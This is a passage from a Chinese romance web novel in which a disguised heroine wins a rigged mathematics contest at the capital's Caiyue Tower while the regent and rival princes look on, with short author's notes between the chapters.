睿王投的人，肯定不会错。 可大家还是怀疑。 “这个第九名李明才到底是什么人，为什么睿王说他隐藏实力了。” “不知道啊，反正但凡上台参加的，都是有点家世背景的。” “这倒是实话，可昨天大家都把注意力放在第一名上，没留意这个第九名，谁清楚他的背景，说说呗。” “我知道，我知道，这个李明才，是国丈爷的本家，当今皇后的远房侄子，听说他原本是来投奔国丈的，可惜连门都没进去。 这才来参加彩月楼的活动。” “竟然是国丈的本家，那肯定聪明，我下注一百两。” “我也投他。” “我也投他。” …… 很快下注李明才的人就多过了唐兮暖。 唐兮暖倒是不在意。 不过孙卿兆看不过去了。 他悄悄把唐兮暖拉到旁边，“寒老弟，我有话跟你说。” 唐兮暖还不清楚今天的比赛已经内定，她昨天睡得好，今天早晨吃的足，这会信心满满，势要拿个第一名，把赏银全部送给周川行。 “孙大哥，你想给我说什么？” 孙卿兆一脸难色道：“不知道你家里有没有手握大权的人？” 唐兮暖没明白他的意思，“这和比赛有关系吗？” 孙卿兆充满警惕地四下扫一眼，随后小声说：“昨晚有人联系我，让我听他的，保证我今天能拿到第一名，我没同意，今天那么多人压李明才，我看事有蹊跷，只怕得奖人员已经定好了。” 比赛就是比赛，唐兮暖不知道这里边还能搞出这么多事。 “你的意思是，我们凭实力没办法拿到名次了？” 孙卿兆点头：“就是这个意思，你家里如果有做官的，或许可以请个有身份的人过来监督，否则……我们两个都只能给人当垫脚石了。”—— 作者有话说：孙卿兆：荣幸之至，竟然能和摄政王一起掉河里。 红包随机 第35章 唐兮暖没遇到过这么麻烦的事情。 “这可怎么好,”她急得像热锅上的蚂蚁。 眼见着到手的一百两银子就要没了。 她可答应了周川行，要全部送给他呢。 就在这时，紫苏挤到她身边,耳语道：“公子莫急，王爷已经知道他们作弊的事情，已经处理好,公子安心比赛就是。” 唐兮暖心里一喜，白净皱吧的小脸瞬间浮现出笑意，“真t的？” 紫苏认真道：“我还能骗公子！” 唐兮暖放心了，她转而告诉孙卿兆，“我那位朋友已经处理好。” 孙卿兆被惊到：“就是你第一个朋友？” 唐兮暖点了点头：“是啊，他很厉害的，什么都能做。” 孙卿兆有些嫉妒。 不过能做寒兮的第二个朋友，他已经很荣幸了。 “处理了就好，咱们找位置坐下。” 唐兮暖没见到楚衍晴，马上都要比赛了,招小倩过来，“看见我表妹了吗？” 小倩摇了摇头,“奇怪呢,按理三小姐早该来了，可到现在都没见人影,她总不会不来了吧。” 唐兮暖隐隐的有些担心，她一个刚刚逃出侯府的孤女肯定帮不上忙。 偏偏她没处理过这些事情。 又没任何经验或者案例让她照着去做。 如果二郎在她身边就好了,她可以直接问他，表姐到现在还没来该怎么办。 二郎肯定会指点她的。 可二郎不在身边。 唐兮暖不说话，小倩又道：“昨天三小姐可是得了第四名，没准今天能进前三,不参加实在可惜。” 正好这个时候，端王摇着折扇进了彩月楼。 唐兮暖心里一喜，悄声吩咐小倩：“你去找端王，请他帮忙打听一下表姐怎么还没来。” 小倩急急忙忙的去了。 今天来看比赛的群众太多。 李貔貅决定将比赛场地转移到大街上。 这样有多少人想看都可以。 不过进彩月楼观看是要门票的。 可出了彩月楼，他不能在大街上强行收费，刚开始是不愿意的。 睿王出了两万两银子，买他转移场地。 李貔貅见钱眼开，自然毫无原则的同意。 此时大街上已经搭好戏台，彩月楼里就没那么多人了。 小倩很快来到端王身边。 她心里实在害怕这个高高在上的王爷，硬着头皮开口：“小的给端王请安……” 端王猜她肯定有事，否则不会在公开场合主动找他。 “出什么事了？” 小倩如实说道：“马上就开始比赛了，还没见到楚三小姐，不知道楚小姐是不是放弃比赛了。” 端王一惊：“她还没来？” 小倩点了点头，“也可能人多，小的没见到她。” 端王摇着折扇，心情有些烦躁，“行了，你回去照顾你家公子，我去找找。” 端王转出彩月楼，吩咐两个贴身侍卫：“你们俩，屋里屋外全都找找，看看楚三小姐来没来。” 他话音没落，注意到朝栎行色匆匆地朝他赶过来，“这么急出什么事了？” 朝栎也在找楚衍晴，“三哥，你说怪不怪，我和三小姐约好了在茶楼汇合，等了她半个时辰都没见人影，她也不像会迟到的人，眼看着比赛都开始了，她还没来，是不是放弃比赛了。” 端王心里有种不好的预感，“我去一趟侯府，你留在这等她吧。” 端王来到彩月楼的马厩，骑上自己的宝马直奔侯府。 楚衍晴被楚衍诺禁足了。 昨天晚上楚衍诺回到侯府发了很大一场火。 他总觉得全家人都知道表妹去哪了，只瞒着他一个。 他已经濒临失控的边缘。 看见楚衍晴开开心心的回家，把人拦住就是一通臭骂。 “楚衍晴，我就你这一个妹妹，你怎么能这么伤我的心！” 楚衍晴知道他在为表姐的事发疯，不想理他。 “我早提醒过你，表姐会离开你，就算成亲前一天，我还抱着一丝希望劝你，可你怎么说的？ 你嫌弃表姐傻，做不了主母，生不出健康的孩子。 现在有了魏家姑娘，她聪明，她健康，你好好守着她就好了，干嘛还要去找表姐。” 楚衍诺恨不得掐死这个妹妹。 “她那么傻一个人，离开侯府怎么生活，你都不担心她？” 楚衍晴嘲讽道：“没准人家比在侯府生活好多了。” 楚衍诺越发确定小妹知道表妹的去处。 “楚衍晴，你快告诉我，表妹到底去哪了，你瞒着我帮她逃走的事情，我可以既往不咎，否则别怪我不念兄妹之情。” 楚衍晴根本不知道唐兮暖的去处。 想告诉他也没办法。 “大哥，我真不知道，爱莫能助。” 楚衍诺气急了，“来人，把三小姐送回去，从现在开始，不许她出府。” 从昨晚开始，楚衍晴的小院周围便围满了侯府侍卫。 别说她一个大活人，连只苍蝇都飞不出去。 今天楚衍诺一大早起来，又把当初看守翠竹园的婢女护卫全部审了一遍。 青柠记得很清楚。 这是世子爷第十六次审她。 她把所有知道的事情重复的嘴唇起泡，实在没有什么可交代的了。 “世子爷，奴婢真不知道了，求求您饶了奴婢吧。” 楚衍诺如果不是还想从她口中听到些线索，早把她打死了。 “从你发现表姑娘反常开始，所有细节，一字不落的说给我。” 青柠仔细回忆表姑娘还在府里的事情。 “对了，世子爷，有一天您心情不好，我让翠柳去请表姑娘，翠柳回来跟我说，小倩说表姑娘的哥哥好像还活着…… 也许…… 表姑娘是被她哥哥接走了。” 楚衍诺被惊到，“你说小倩说的，表哥还活着？” 性命攸关，青柠不会记错，“是有这么个事，小倩说的也不清楚，反正她的意思是唐公子还活着。” 楚衍诺以前也恍惚着听人八卦过，外公一家被满门抄斩，只留下一个五岁且心智有问她的孙女。 可有人说唐家把孙子换了，死的是其他人。 难道这事是真的？ 可还是不对，如果表哥确实活着，他唯一的姑母就在侯府，为什么不来投奔？ 还要把妹妹接走。 他一个见不了光的死人，何苦连累自己的亲妹妹。 妹妹留在侯府，至少是安全的。 他带走有什么好处。 “还有其它的反常吗？” 青柠绞尽脑汁地回忆着，“对了，大婚之夜，端王曾经到过翠竹园附近。” 楚衍诺一惊：“你说端王？他做什么去了？” 青柠如实回道：“他说掉了东西，当时他喝多了，闹着让我们所有人帮他找，我们不敢不帮忙……对，就是这么回事，表姑娘只可能是那个时间走的。” 这种说法倒是和楚衍诺所思虑的可能相吻合。 表妹从不出门，没机会接触外男。 可端王是例外。 前段时间朝栎公主请京城所有贵女参加宫宴，表妹在宫里走失，就是端王把她送出来的。 一定是他见色起意，拐走了表妹。 “还有什么奇怪的事情？” 青柠一边回忆一边说：“有几天小倩不停地跑出府，说是给唐姑娘买岳阳楼的点心，我们也没防备，表姑娘喜欢吃什么，我们只有尽心的，哪敢拦着。 应该是那个时候，她联系的王爷，把表姑娘偷走了。” …… “世子爷，端王来了。” 楚衍诺还没审完青柠，听说端王来了，他忍着满腔怒火咬牙道：“请进来。” 端王见到他也不打算拐弯抹角，“三小姐呢？” 楚衍诺手握剑柄，站在端王的对立面，微眯着眸子瞧他。 端王察觉到他满身杀气，皱了皱眉：“本王没得罪楚世子吧，楚世子怎么这个态度。” 楚衍诺也不打算拐弯抹角，“把我表妹交出来。” 端王被他这话逗笑了：“楚世子你是不是丢人丢傻了，跟我要什么表妹。” 楚衍诺握着剑柄的手又加重了几分力道。 他快要克制不住，将锋利的宝剑横在端王的脖颈上。 “你敢说我表妹不是你带走的？” 端王满脸无语的看着他：“楚世子你脑子不清楚，本王建议你好好洗洗，我喜欢楚三小姐人尽皆知，偷你表妹干什么。” 端王这话倒不假，楚衍诺早知道他喜欢小妹。 可表妹从不出府，只接触过端王。 “你跟我发誓，说我表妹不在你那，否则你永远得不到喜欢的姑娘。” 端王坦荡极了。 可他是高高在上的亲王，怎么能跟臣子发誓。 “除非你现在让楚三小姐跟我去彩月楼参加比赛。” 楚衍诺毫不犹豫道：“你先发誓，我才同意。” 端王无奈地举起右手：“本王发誓，如果是我拐走了楚世子的表妹，就让我永失所爱。” 誓言发的太快，楚衍诺心里没底。 端王又道：“本王喜欢哪个女子，还不至于偷偷摸摸，本王大可以向侯夫人求娶，想来侯夫人不会拒绝。” 楚衍诺看得出来，端王应该和这事无关。 好不容易发现一点线索，竟然又没了。 心里越发烦躁。 “去请三妹。” 就这么端王把楚衍晴带走了。 路上楚衍晴了解清楚来龙去脉后，问t道：“我表姐真不在你那？” 端王举起右手，“你不会再让我跟你发一次誓吧。” 他喜欢的是楚三小姐，偷走她表姐算怎么回事。 本来就追不到，这不是给自己找麻烦吗！ 楚衍晴也觉得端王没有理由帮助表姐。 可表姐一连走了半个多月，没有一点消息，她之前相信表姐一定会幸福，可这两天也忍不住担心起来。 “对了，你怎么忽然来侯府了？” 端王不好说小倩找的他。 只道：“我到彩月楼没见到你，朝栎也没见到你，是她让我去找你的。” 楚衍晴不想理他了。 装得仿佛很深情，毫不掩饰对她的喜欢。 可有什么用，人家还做着三妻四妾的美梦呢。 她楚衍晴要么不嫁，要嫁就得一生一世一双人。 “你不用对我这么好，我是不会嫁给你的。” 端王气得牙根痒痒，“楚衍晴，你都被你哥禁足了，是我又发誓又保证的才把你带出来，你一句感谢没有，就会戳我的心口是不是！” 楚衍晴心里也气，她为什么会看上这个用情不专的渣男。 “我又不是非参加不可，没必要委屈你这位王爷。” 端王从来没被人这么顶撞过，“那你回去啊。” 楚衍晴转身要走，“回去就回去。” 端王下意识拉住她，“我开玩笑的，至于吗！” 楚衍晴确实不是非参加这次比赛不可。 不过参加对她有益无害。 哪怕像昨天一样，她拿个第四名，也是唯一一个进决赛的女子。 到时候全京城都会听说她的名字。 那时上门提亲的豪门世家应该会多些吧，她的选择也就大些。 此刻她偷偷瞧了一眼端王。 如果他知道自己此刻打的是这个主意，不知道要气成什么样。 因为今天加了一场复活赛，从昨天落选的选手中挑选二十人，进行加赛。 原本计划的决赛时间便往后推迟了半个时辰。 小倩看见楚衍晴来了，悄悄告诉了唐兮暖。 唐兮暖担心表哥会因为她逃出侯府迁怒到表妹，见到她人终于放下了心。 楚衍晴走后，楚衍诺的小厮青竹想让他出去散散心，提议道：“三小姐去彩月楼了，听说这两天彩月楼格外热闹，世子爷不如过去看看，没准表姑娘也会去呢。” 楚衍诺有些动心。 不过表妹离开侯府生存都是问题，怎么有闲情逸致去彩月楼那种富家子弟聚集的地方。 他虽然见不到表妹，不能跟她同甘共苦，可也不想一个人享乐。 “算了，我没心情，你让他们尽快，把京城所有青楼、乐坊、赌场等能够藏污纳垢的地方全部找遍。” …… 复活赛出的题目特别简单。 昨天没晋级的二十个选手竟然有五个晋级。 最终参加决赛的选手共有十五人。 露天场地，李貔貅准备了几十张椅子，全都留给身份尊贵的王孙公子。 睿王本来坐在第一排正中间，周川行来后，他满脸不甘心的移开一个位置。 周川行便坐到了他原来的位置。 左边是睿王，右边是端王。 再往两边，端王这边是朝栎和其她贵女。 睿王那边便是闻风赶来的朝臣。 …… 大周朝最尊贵的三位王爷全部到了比赛现场。 这可是大周朝独一份。 最激动的当属李貔貅了。 一开始他不认识摄政王，此刻看见他坐在端王和睿王中间，还有什么不清楚的。 想到自己做那些可笑事，生怕摄政王跟他计较。 从今天开始，他，李貔貅就是大周朝最会做生意的老板。 他亲自端着茶水送过去，“几位爷，今天的比赛绝对精彩，保证让几位爷看过瘾。” 周川行一身玄色常服，他言语不多，端坐在不怎么宽松的圈椅上，正派得仿佛上朝一般。 端王经常出来混，靠着椅背，手里晃荡着一块玉佩穗子，不知道他身份的，看他和普通的纨绔没区别。 睿王生气的时候都能挂上三分笑，是三人中最斯文最谦逊最俊秀最容易接触的。 周川行瞥了一眼茶水，没接。 端王抬着下巴点了点桌子，“放那。” 只有睿王，客客气气地接过去，温和有礼的开口：“李掌柜很会做生意啊。” 端王知道他这个四弟惯会笼络人心。 如果凭人缘做皇上，睿王绝对一骑绝尘。 可他最看不上的就是睿王。 当着外人的面都忍不住想骂，虚伪！ 不过被他二哥一个威严的眼神给制止了。 很快十五名参赛人员陆续上场。 楚衍晴从朝栎身边路过的时候，被她拉住手腕。 “公主……” 朝栎笑着给她鼓励，“衍晴，你可是唯一的女子，一定要给我们女子争气。” 这话把楚衍晴说笑了：“那我任务好重！” 朝栎攥起小拳头：“加油，只要进前五名，本宫单独给你奖励。” 楚言晴单独收到祝福，笑容灿烂：“谢殿下。” 端王坐在朝栎旁边，自然看见了两个人的互动。 他紧跟着说：“本王也单独给你奖励。” 楚衍晴凉凉瞥他一眼。 气得端王险些吐血。 “小妹，你说我对她不好吗，她这什么态度！” 此时楚衍晴已经坐到了参赛的位置。 朝栎确定她听不见自己说话，开口道：“人家求的是一生一世一双人，你做不到就不要招惹。” 注意到隔着三哥的二哥，她往前探了下身子，“二哥，我觉得衍晴配你倒是正好，不知道你什么想法？” 她刚说完，忽然想起皇后那边，恨不得把刚才的话咽下去。 接触到二哥意味不明的眼神，讪讪道：“当我没说。” 睿王听到小妹说话，特别赞同：“楚三小姐确实不错，人漂亮，又明艳又张扬，还有才情，二哥喜欢的话，我下午就进宫请母妃帮忙操办。” 周川行始终没发一言。 要说这世上，端王最佩服的人是谁？ 绝对是他二哥。 瞧瞧，四弟都要帮他请人张罗婚事了，他竟然一句话没有。 周川行确实不急。 因为有人比他急。 睿王听不到回应，一点都不觉得尴尬，“二哥不说话就是默许了，小弟在这里先恭喜二哥。” 端王咬牙切齿道：“老四你敢！” 睿王笑了：“怎么，三哥也喜欢楚三小姐？” 端王呵笑：“可京城的人都知道了，就你不知道？既然那么喜欢张罗婚事，干脆下午找太妃帮我张罗张罗。” 睿王怎么可能做这种没有好处的事。 “三哥，不是小弟不肯帮忙，实在是母妃最近身体不好，等她好些了，我一定请她帮忙张罗。” 端王难过地叹了口气：“哎，父母不在了，连帮忙张罗婚事的人都没有了。” …… 唐兮暖这次坐的第一排。 她左边是孙卿兆，右边是昨天的第三名姚麒麟。 姚麒麟也就是和楚衍晴因为两分起争执的选手。 自从坐到比赛场，他已经悄悄打量唐兮暖好几次了。 此刻比赛还没开始。 姚麒麟犹豫着往她身边凑了凑，“昨晚睿王的人有没有找过你？” 唐兮暖不认识睿王，“他应该找我吗？” 姚麒麟很快确定唐兮暖不是内定的选手。 “那你今天可能进不了前三名了。” 唐兮暖刚才听孙卿兆说了彩月楼要作弊的事。 “难道你被内定了？” 姚麒麟苦笑着摇了摇头：“这点骨气，我还是有的。” 唐兮暖不怎么懂人情世故，她在心里假设了几种可能，每一种可能都做了推断。 得出最终结论，“所以，他找你作弊，被你拒绝了是不是？” 姚麒麟迟疑片刻，点了点头：“今天，我们应该都拿不到名次了。”—— 作者有话说：周川行：我家姑娘越来越棒了！！！ 昨天吃了两个桃，食物中毒了，中毒了，中毒了！！！ 头晕目眩恶心想吐，折腾了大半天。 桃子看着没啥问题，只有屁股哪里稍微有些烂。 以我为鉴吧，坏了的果子千万别吃哈。 35-40 第36章 唐兮暖相信周川行,虽然他人笨笨的，还没有她聪明。 可她相信，他说已经处理好就是处理好了。 面对姚麒麟的苦瓜脸,她攥着小拳头鼓励道：“放心，邪不压正，我们肯定能拿到名次。” 姚麒麟从来没见过如此俊美的男子。 被她的坚定和底气所惊艳,他怀疑自己取向出现了问题。 怎么对男人有了心悸的感觉。 “比赛马上开始了，”李貔貅走上舞台，想到睿王给的两万两银子，笑得嘴巴都要咧到耳朵后了，又见当朝摄政王坐在台下，人生这场巨大的舞台，他仿佛达到了巅t峰。 “今天的题目，比昨天难上十倍不止，希望所有选手都能有个好成绩。” “比赛还是分三轮，用最终得分排名。 好了,祝愿大家都有个好成绩。 比赛，现在开始。” 今天来观看比赛的观众特别多。 已经挤满了一整条街。 当然离着近的还能看清楚怎么回事,稍微远点的,只能凑个热闹。 可一点都不影响大家想知道谁是大周朝最聪明人的热情。 有钱的全都下注了，那些不喜欢赌博或者没银子的没下注,却也和周围亲朋好友议论起谁能获得最终荣誉。 今天的题目确实比昨天难很多。 第一道题就是面积问题。 昨天的报数小姐，今天上台读题。 她打开准备好的题目。 清晰准确地读出来。 “广灵县有田一万五千三百亩,其中邪田（直角梯形）三千亩，广（宽）一万两千步，从（长）二千五百步……” 读题小姐读着读着，忽然意识到些不对。 怎么很多数字都是改过的。 不过她只是一名读题小姐,改不改都和她没关系。 况且题目写到一大张白纸上，已经张贴到画板上。 所有参赛选手完全可以自己看。 她再读两遍纯粹是为了让那些不识字或者离得远的观众听清楚。 当然连字都不识的人，听进耳朵也弄不懂什么意思。 大家不过凑个热闹。 完全不影响群众观看比赛的热情。 其实大周朝科举都十几年没举行过，打了几十年仗，人才早已出现断层，除非世家大族，有远见的皇亲国戚，否则普通人能认识几个字就不错了。 哪里懂算学。 …… 读题小姐还在继续，“……请问，广灵县老张家有多少亩地？” 周川行一如刚坐下时，腰板挺得笔直。 他仿佛不会累一般，挺拔如松。 眉目松弛地盯着在场所有参赛人员。 端王还摇着玉佩的穗子。 他隔着周川行不时扫一眼睿王。 睿王早和彩月楼的大老板达成协议，题目都是自己的谋士所出。 保证在场之人没有一个人能答出来。 而他授意的三名选手，早已经知道答案，只要他们往上一写，第一个交卷，那么这三个人顷刻间便能名扬四海。 二哥不是求才若渴吗！ 他就送二哥三个顶尖人才。 原本他看中的是孙卿兆和姚麒麟，最先联系的也是这两个人。 因为他们有真才实学，只要为自己所用，放进朝堂，用不了几年就能成为中流砥柱，那时就会成为自己手中最好用的利刃。 可惜这两个人都不识抬举。 他只能找了第九名和第十名，又保送一个昨天淘汰的。 睿王看见三名选手全部低头书写，脸上不由的露出几分得意来。 一个只会打仗的武夫，也想和他一较高低。 不就是会投胎吗，生为嫡子，又是皇上的亲弟弟。 他也不差啥，至少母妃健在，外公一家都是不错的支柱。 这皇位，早晚是他的。 “二哥，你觉得昨天的前三名，今天有没有机会拿到名次？” 周川行漫不经心地回他：“比赛刚开始，不好说。” 戏耍得逞，睿王一副看好戏的样子瞧着周川行，“小弟我倒是略有拙见，昨天那三个，都是瞎猫碰到死耗子，今天，一个都拿不到名次。” 周川行神色淡淡的，谁也看不透他在想什么，意味不明的瞥睿王一眼，“是么。” 睿王仿佛已经坐上皇位，高高在上般睥睨着他的两个兄弟。 “这朝堂啊，”他端起茶杯饮了一口，“可不是有一把子蛮劲就能弄明白的，二哥你这些年不在京城，很多事情都不懂，慢慢学吧。” 端王早就看不惯睿王了。 他端着茶杯越过周川行跟睿王的茶杯碰一下。 “老四，你最近眼睛有没有问题？” 睿王一怔：“三哥你什么意思？” 端王往比赛台上的画板瞥了一眼，“你就没发现这些题有些怪？” 睿王还真没看出来，“哪里怪了？” 端王故意不告诉他，“那就得你自己观察了。” 接下来的一直到第一场赛事比完，睿王指派的三名选手全部出错，他才明白画板上的问题。 题目还是他给出的题目，可里边的数字，很多都被改动过。 就算只改过一个数字，结果也会差很多，何况改过那么多！ 他气得咬牙切齿，“老三你阴我！” 端王好笑道：“不做亏心事，怎么会被人阴。” 他顿了一下，故意气睿王，“两万两银子，啧啧，四弟还真是有钱啊。” 第一轮比赛，唐兮暖不是第一个交卷。 甚至不是第二个交卷。 不过她和第二名一起摇铃，她手速慢些，排到第三个交卷。 孙卿兆和姚麒麟都告诉她，今天比赛有人作弊。 虽然听紫苏说，王爷已经处理好，可看见两名选手都比她先完成，心里还是没了底。 李貔貅不知道作弊的事。 他一直盯着唐兮暖，因为他认为唐兮暖是摄政王的人。 自然希望唐兮暖能赢。 唐兮暖高兴了，摄政王就高兴，那他以后的日子要多舒服就能有多舒服。 可惜，竟然有两个人比唐兮暖先摇铃。 简直无法相信。 待所有人都交卷后，读题小姐亮出答案，别人没多想，李貔貅第一个质疑。 “这答案有问题吧。” 一直躲在幕后的大老板：“……” 频频给李貔貅使眼色。 可惜李貔貅不光没接触到，还命读题小姐改成寒兮所做的答案。 “哼，我一看寒兮的答案就是正确的。” “你胡说什么，”大老板终于忍不住出面了。 五十多岁的人，面无表情地训斥李貔貅，“这答案可是出题人亲自算出来的。” 大老板给李貔貅使眼色，李貔貅也给大老板使眼色。 摄政王可不是他们这些市井小民能得罪的。 “出题人就不会出错吗？” 根本没轮到参赛选手质疑答案，大老板和李貔貅两个人就吵开了。 最后不得不把出题人请到现场。 出题人是户部的一个六品小官，名叫赵瑞良。 也是睿王的亲信。 赵瑞良认定答案没错，因为题目是他出的，答案也是他算的。 有睿王参与，他加了小心，核算两遍确定无误后才交给彩月楼。 “这是本官亲自出的题目，怎么可能有错！” 赵瑞良特别不高兴，虽没穿官服，可官威十足。 他根本看不起这些市井小民，如果不是睿王发话，他怎么可能给一个民间组织出题。 端王有些坐不住了，“二哥，要不我过去看看。” 周川行仍然一副稳坐中军帐的神色。 “稍安勿躁。” 周围群众都看傻了。 彩月楼的答案竟然出问题了，大老板和二老板不统一。 到底谁的答案是对的？ 赵瑞良不屑于和这些没有功名的选手计较，打算一言堂。 他举起李明才的答案，说道：“这个就是标准答案，和他一样的就是正确的。” 李明才、赵英怀、和钱棕三人都是睿王的人，他们三人的答案一样。 此刻特别得意的瞧着唐兮暖，“以为昨天拿到第一，今天就稳了？还不是成了我们的手下败将。” 唐兮暖和孙卿兆、姚麒麟都对过答案了。 他们三人的答案是一样的。 不可能三人同时做错，那就只有一种可能，李明才三人是内定好的。 姚麒麟为拿到前三名，可没少做出牺牲。 此刻急得直攥拳头，“我们怎么自证？” 孙卿兆一时也没想到好办法。 各执一词，李貔貅明显没有大老板分量大。 又有出题人证明，他们坚持自己的答案是正确的都没人相信。 他想不到办法，便把希望寄托到寒兮身上。 唐兮暖确实没遇到过这么麻烦的事情。 可她心思干净，没有什么弯弯绕。 此刻面对刁难嘲讽，也没什么多余的情绪。 她沉思片刻，对赵瑞良说：“我能看看李明才的答案吗？” 赵瑞良见他长得唇红齿白，阴柔有余，阳气不足，打心眼里瞧不起。 “何必，你们做不出来，认输就是，还能找麻烦吗！” 李貔貅急得冒火，已经向摄政王的方向抛了三个“媚眼”，可摄政王仿佛瞎了一般，怎么都接收不到。 “赵大人，这位寒公子昨天是第一名，肯定不服，不如把答案给他看看，让他输个心服口服。” 赵瑞良稍一犹豫，将答案甩给寒兮。 唐兮暖拿过答案，孙卿兆和姚麒麟都凑了过来。 唐兮暖很快露出一抹很奇怪的笑，她先看孙卿兆：“孙大哥，你觉得这个答案有趣不？” 孙卿兆也明白过来，他笑得可比唐兮暖放肆多了。 “哈哈哈，难怪朝廷求贤若渴，原来养的都是赵大人……”他把赵瑞良从上到下打量一遍，仿佛在t看一个垃圾，“这种庸才！” “你说谁是庸才！”赵瑞良生气了。 他可是户部里最懂算学的人才，不管户部侍郎还是户部尚书都夸他前途不可限量。 竟然被一个花子嘲讽，这脸色哪绷得住。 “李老板，我看这人尽快赶出去才好，自己做不对，竟然质疑答案，想走这种歪门邪道。” 楚衍晴自从看见唐兮暖就一直在发傻。 如果只有寒兮一个，她或许还能说服自己，这人不是自己表姐。 可不远处站着男子打扮的小倩，也就太巧了些。 她不知道表姐离开侯府后在哪里安身。 竟然出现在比赛场，还夺得昨天的第一名。 早就知道表姐不傻，果然现实给了印证。 如果大哥知道表姐昨天拿了第一名，该是什么表情！ 他一直嫌弃的傻子，马上就要成为大周朝最聪明的女子。 他，竟然把明珠当成鱼眼！ 楚衍晴一直发呆，朝栎替她着急，赶到台下喊道：“三小姐，你的答案是什么？” 楚衍晴这才回过神，她自然和唐兮暖是一样的。 “赵大人，你做的答案也不一定就是对的，还是再找人核算一遍的好。” 赵瑞良要发火，有人提醒他：“这是武安侯府的三小姐。” 赵瑞良只能把这口气憋下去，“既然觉得我的答案不对，尽管找人核对，我看这大周朝谁能做出这道题。” 唐兮暖扬了扬手里的答题纸，“不用找人核对，我就只问赵大人一个问题，一亩等于多少步？” 算学最初级的知识，赵瑞良不屑道：“自然是二百四十步。” 唐兮暖看向画板，“你看题目有多少亩，多少步，答案又是多少亩多少步？” 赵瑞良到现在还没认识到问题，他满脸不屑地看向画板。 待他看清楚上边的字，不由得皱起眉头。 “怎么回事？谁改了上边的数字？” 大部分人还不明白怎么回事。 可不妨碍大家确定赵瑞良出笑话了。 孙卿兆给大家解释：“咱们大周朝有规定，一亩地等于两百四十步，这一块地的大小，用亩表示的时候远远小于用步表示，可最先交卷的两位才子却正好相反。 所以他们的答案是错的。” 他解释的简单，大家都能听懂。 人群里不知道谁先笑出声，之后整条街都是欢快的笑声。 赵瑞良羞得无地自容。 “不可能，不可能，我出的题，明明不是这些数字，怎么会这样，肯定是你们作弊，把数字改了。” 孙卿兆反应极快，“那赵大人要不要问问李明才等人，为什么他们会给出改之前的答案？到底谁才是作弊的人？” 赵瑞良：“……” 他不想搀和这种事，“我怎么知道，我只管出题，好了，这事跟我无关，你们随便。” 语毕他一甩袖子就想走。 却见摄政王的贴身侍卫陶罐来到了台下。 “赵大人，我们王爷有请，走吧。” “摄政王……”赵瑞良急忙四处寻视，他竟不知道，摄政王亲自来了彩月楼。 两腿一软就要往地上跪，还是陶罐扶住了他，“赵大人，你可别跪我，我受不起。” 赵瑞良：“……” 第一轮比赛结果，唐兮暖还是第一名。 姚麒麟第二，孙卿兆第三，楚衍晴第四。 因为没有证据证明李有才等人作弊，第一轮不算分，正常参加第二轮比赛。 端王没想到被人认为脑子有问题的唐兮暖竟然能反证。 “二哥，你真捡到宝了。” 这话周川行爱听，清俊威严的脸上终于有了些笑模样。 仿佛得第一名的是他一般。 “那是自然。” 端王看不过他这么得意，“了不起，了不起，万年铁树不开花，开就是极品。” 睿王气了个半死。 两万两银子还只是给彩月楼换场地的。 另外打发三个选手以及请出题人，又花了一千两。 竟然连个响都没听到。 忽然听到三哥说什么万年铁树开花，又把台上的人扫了一眼。 除了楚三小姐，他实在想不到二哥还能喜欢谁。 这场较量他是输了，不过也不会让二哥痛快就是了。 他这就进宫找母妃给二哥张罗婚事。 先看他和皇后掐起来。 没了搅屎棍，接下来两轮比赛都很顺利。 唐兮暖毫不意外的，每轮都第一个摇铃，并且答案正确。 孙卿兆后两轮答案全部正确，不过答题速度慢了很多。 而楚衍晴和姚麒麟第三轮都只答对了一半。 至于李有才三个内定选手第二轮都没做对。 第三轮干脆弃赛了。 这场比赛到最后，名次竟然和昨天一样。 李貔貅放了鞭炮庆祝，今天选出大周朝最聪明的人，寒兮当之无愧。 并端上纹银一百两。 这是唐兮暖第一次用自己的智慧赚到银子，开心得小脸上的笑比阳光还要明媚。 她隔着人群看向坐在台下的周川行，把手中的托盘往前挪了挪。 白花花的银子在阳光下熠熠生辉。 周川行毫不吝啬竖起大拇指。 他的姑娘，果然聪慧，一出手就是大周朝第一聪明人！ 按理，这个时候周川行应该上台，把小姑娘好好表扬一番。 不过目前还不宜公开两个人的身份。 周川行克制住冲动，对端王说：“一会儿把郑建安放了吧，让他明天下午在八宝粥等我。” 端王要去给楚衍晴庆祝，应付道：“放心吧，我一会儿就去办。” 他起身后，一个大步跳上舞台。 他一语定乾坤，“这寒兮当之无愧的第一名，孙卿兆也不错，第二名。 楚衍晴和姚麒麟并列第三吧，两个人第三题都没全对，虽然姚麒麟第二轮交的早些，可第三题，楚衍晴对的比他多些。” 端王都说话了，李貔貅哪敢反对。 他连声附和：“端王说的对，孙卿兆第二，楚衍晴和姚麒麟并列第三，每人都有五十两银子的奖赏。” 随后，李貔貅亲自端给孙卿兆八个银元宝。 分别给楚衍晴和姚麒麟一人五个银元宝。 楚衍晴受之有愧，不过李貔貅都没说什么，她有什么好谦虚的。 当然，这种不要脸的事，还得是端王。 朝栎答应过楚衍晴，进了前五名有赏。 如今得了第三名，她跳上舞台，抓着楚衍晴的手，高声宣布：“楚三小姐，我们大周朝最聪明的姑娘，如假包换。 现在本宫宣布，赏白银一千两，锦缎十匹，珍珠十串，御膳十笼。” 这么大的赏赐，不光楚衍晴意外，整条街的围观群众全都被惊到了。 彩月楼给了五十两赏银，公主竟然赏了一千两。 是谁说女子无才便是德的！ 这可是实打实的真金白银。 此刻楚衍晴俨然成了整条街最光彩夺目的姑娘。 别人没感觉，可楚衍晴心里是不舒服的。 因为最聪明的姑娘在她旁边，该是她的表姐才对。 可表姐女扮男装，显然是不能被人认出女子身份。 她忍不住看向表姐。 唐兮暖心思干净，她没那么多想法。 将银子递给小倩便跳下舞台。 孙卿兆急忙追上去，“寒老弟，我有银子了，请你吃饭。” 唐兮暖急着去见周川行，“孙大哥，我们改天再约，我得去找朋友。” 孙卿兆有些不高兴，“我不也是你朋友吗，你去见朋友，可以带着我，我们一起。” 唐兮暖认真思考了一下。 周川行是她第一个朋友，孙卿兆是她第二个朋友。 他们两个应该很想认识彼此。 “那好，我带你去见他，今天中午我们一起吃饭。”—— 作者有话说：唐兮暖：我的两个好朋友应该很想见一见彼此。 周川行：并不！！！ 第37章 孙卿兆并没见到周川行,因为周川行临时有事回宫了。 唐兮暖倒是和孙卿兆一起吃了午饭。 午饭过后，孙卿兆邀请唐兮暖听戏。 被小倩阻止了。 “公子，您身体还没好利索,得回家了，万一累着了，您以后再想出来可就不容易了。” 唐兮暖确实有点累。 “那好吧。” 孙卿兆自从来京城,身上没银子，东一顿西一顿活得像个叫花子。 寒兮是他遇到的第一个好人。 舍不得分开。 